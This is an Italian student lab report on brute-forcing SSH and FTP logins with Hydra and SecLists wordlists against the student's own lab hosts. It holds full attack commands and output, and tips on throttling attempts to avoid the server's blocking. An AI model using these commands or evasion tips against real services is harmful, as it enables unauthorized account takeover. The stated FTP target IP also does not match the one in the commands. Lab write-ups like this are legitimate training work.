Test delle password con Hydra (SSH e FTP)

1. Introduzione e Scopo dell'esercizio

In questa relazione descrivo i passaggi che ho fatto nel mio laboratorio su Kali Linux per capire come funziona **Hydra**, un programma che serve a testare la robustezza delle password provando tante combinazioni diverse (attacco brute-force).

Lo scopo era provare ad accedere a due servizi diversi: **SSH** (che serve per controllare i computer a distanza) e **FTP** (che serve per passarsi i file). Per fare i test ho usato le **SecLists**, che sono delle liste lunghissime piene di password e nomi utente comuni che si usano in questi esercizi.

2. Fase 1: La prova sul servizio SSH (IP: 192.168.50.100)

Il primo test l'ho fatto contro il servizio SSH. Essendo un sistema fatto apposta per essere sicuro, mi ha dato un po' di filo da torcere.

2.1 Il primo errore: trovare i file giusti

Appena ho lanciato il mio primo comando, il terminale mi ha dato subito errore dicendo `File for passwords not found` (file delle password non trovato). Ci ho messo un po' a capire il perché: ho scoperto che su Linux le lettere maiuscole e minuscole fanno la differenza! Avevo scritto male il nome delle cartelle. Usando il comando `find` per cercare nel computer, ho trovato il percorso giusto e ho capito che le password stavano dentro una sottocartella schiamata `Common-Credentials`..

```
┌──(test_user㉿kali)-[~]
└─$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xa
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiz

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 05:36:22
[ERROR] File for passwords not found: /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
```

2.2 Il server mi blocca (Troppi tentativi)

Sistemato il percorso, ho lanciato di nuovo Hydra usando le liste giganti da milioni di parole e dicendogli di fare 4 tentativi alla volta (`-t 4`). Dopo poco, il programma si è bloccato dandomi questo errore: `[ERROR] all children were disabled due too many connection errors`.

In pratica, il servizio SSH si è accorto che stavo provando troppe password troppo in fretta e, Sper difendersi, mi ha chiuso la porta in faccia bloccando le connessioni.

```
┌──(kali㉿kali)-[~]
└─$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwor
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 05:44:31
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.50.100:22/

[STATUS] 69.00 tries/min, 69 tries in 00:01h, 8295454999931 to do in 2003733091:47h, 4 active
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 05:46:17
```

2.3 Creare delle liste più piccole e furbe

Ho capito che non potevo lanciare milioni di password contro l'SSH senza farmi scoprire. Per far funzionare l'esercizio, ho deciso di creare delle liste molto più piccole. Dal terminale, usando il comando `echo` e il simbolo >, ho creato due piccoli file di testo (`nomi_test.txt` e `pass_test.txt`). Dentro ci ho messo pochissime parole, tra cui le credenziali che sapevo essere quelle giuste (`test_user` e `testpass`). In questo modo ho evitato di far impazzire il Sprogramma.

```
echo "root" > nomi_test.txt
echo "admin" >> nomi_test.txt
echo "test_user" >> nomi_test.txt
```

```
echo "123456" > pass_test.txt
echo "password" >> pass_test.txt
echo "testpass" >> pass_test.txt
```

Avendo delle liste piccole, ho cambiato le impostazioni di Hydra. La mossa vincente è stata usare `-t 1`, che dice al programma di fare **un solo tentativo alla volta**. Andando così piano, il server SSH non si è insospettito e non mi ha bloccato. Alla fine della scansione, Hydra ha trovato la combinazione giusta e me l'ha scritta in verde.

```
┌──(kali㉿kali)-[~]
└─$ hydra -L nomi_test.txt -P pass_test.txt 192.168.50.100 -t 1 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 06:12:13
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restor
[DATA] max 1 task per 1 server, overall 1 task, 9 login tries (l:3/p:3), ~9 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 06:12:48
```

Ho provato anche utilizzando i comandi dati da lei ,ho utilizzato le top 100 pass nel file che ci ha consegnato e gli ho aggiunto alla fine quella giusta e ho utilizzato grep per fargli utilizzare l utente scelto, in questo caso per non fargli fare migliaia di tentativi gli ho detto di utilizzare grep “test_user”.

```
┌──(kali㉿kali)-[~]
└─$ head -n 100 /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-1000000.txt > top_pass.txt
echo "testpass" >> top_pass.txt
```

```
┌──(kali㉿kali)-[~]
└─$
grep "test_user" /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt > utenti_filtrati.txt
```

```
┌──(kali㉿kali)-[~]
└─$ hydra -L utenti_filtrati.txt -P top_pass.txt 192.168.50.100 -t 3 -V ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret servi

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 06:34:21
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previou
[DATA] max 3 tasks per 1 server, overall 3 tasks, 303 login tries (l:3/p:101), ~101 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 303 [child 0] (0/0)
```

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "taylor" - 100 of 303 [chi
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 101 of 303 [c
[ATTEMPT] target 192.168.50.100 - login "test_user_dmt" - pass "123456" - 102 of 303
[ATTEMPT] target 192.168.50.100 - login "test_user_dmt" - pass "password" - 103 of 30
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
[ATTEMPT] target 192.168.50.100 - login "test_user_dmt" - pass "12345678" - 104 of 30
[ATTEMPT] target 192.168.50.100 - login "test_user_dmt" - pass "qwerty" - 105 of 303
```

3. Fase 2: La prova sul servizio FTP (IP: 127.0.0.1)

Nella seconda parte ho cambiato bersaglio, passando al servizio FTP. Questo mi è servito per capire che non tutti i servizi si comportano allo stesso modo quando vengono attaccati.

3.1 Installare e preparare il bersaglio

Visto che stavo facendo tutto sul mio computer, per prima cosa ho installato il programma che fa da server FTP usando il comando `sudo apt install vsftpd`. Poi l'ho avviato e mi sono assicurato che l'utente `test_user` fosse pronto per essere usato.

```
┌──(kali㉿kali)-[~]
└─$ sudo apt install vsftpd
[sudo] password for kali:
Installing:
  vsftpd
```

.

3.2 Filtrare i dati invece di scriverli a mano

Questa volta, per fare prima, non ho scritto io i file con `echo`. Ho usato un trucco: con il comando `head` ho "tagliato" le primissime righe dalle liste giganti delle SecLists (ho preso 20 nomi e 50 password) e le ho salvate in due file nuovi (`utenti_ftp.txt` e `pass_ftp.txt`). Alla fine di questi file ho aggiunto la password corretta. È un metodo molto più comodo per avere liste piccole ma realistiche.

```
┌──(kali㉿kali)-[~]
└─$ head -n 20 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt > utenti_ftp.txt
echo "test_user" >> utenti_ftp.txt

┌──(kali㉿kali)-[~]
└─$ head -n 50 /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-1000000.txt > pass_ftp.txt
echo "testpass" >> pass_ftp.txt
```

S3.3 L'attacco all'FTP (molto più veloce)

Ho lanciato di nuovo Hydra. Questa volta, sapendo che l'FTP è un sistema più vecchio e meno severo dell'SSH, ho rischiato e ho messo 5 tentativi in contemporanea (`-t 5`). Ha funzionato benissimo: nessuna disconnessione e nessun blocco. Hydra ha provato decine di password

al secondo e ha scovato le credenziali giuste quasi subito

```
┌──(kali㉿kali)-[~]
└─$ hydra -L utenti_ftp.txt -P pass_ftp.txt 192.168.50.100 -t 5 ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 06:59:02
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.resto
[DATA] max 5 tasks per 1 server, overall 5 tasks, 1071 login tries (l:21/p:51), ~215 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[STATUS] 91.00 tries/min, 91 tries in 00:01h, 980 to do in 00:11h, 5 active
[STATUS] 88.67 tries/min, 266 tries in 00:03h, 805 to do in 00:10h, 5 active
[STATUS] 88.71 tries/min, 621 tries in 00:07h, 450 to do in 00:06h, 5 active
[STATUS] 88.00 tries/min, 1056 tries in 00:12h, 15 to do in 00:01h, 5 active
[21][ftp] host: 192.168.50.100   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 07:11:25
```

S4. Cosa ho imparato da questo esercizio

Fare questa prova pratica mi ha fatto capire alcune cose molto importanti:

> Se attacchi un sistema difeso bene come l'SSH cercando di essere troppo veloce, vieni bloccato subito. Meglio andare piano e con calma. Usare liste di milioni di parole senza filtrarle è inutile e fa solo bloccare il computer. È fondamentale usare comandi per estrarre solo le password più probabili. L'SSH ha bisogno di delicatezza, mentre l'FTP ti permette di essere più aggressivo e veloce senza darti troppi problemi.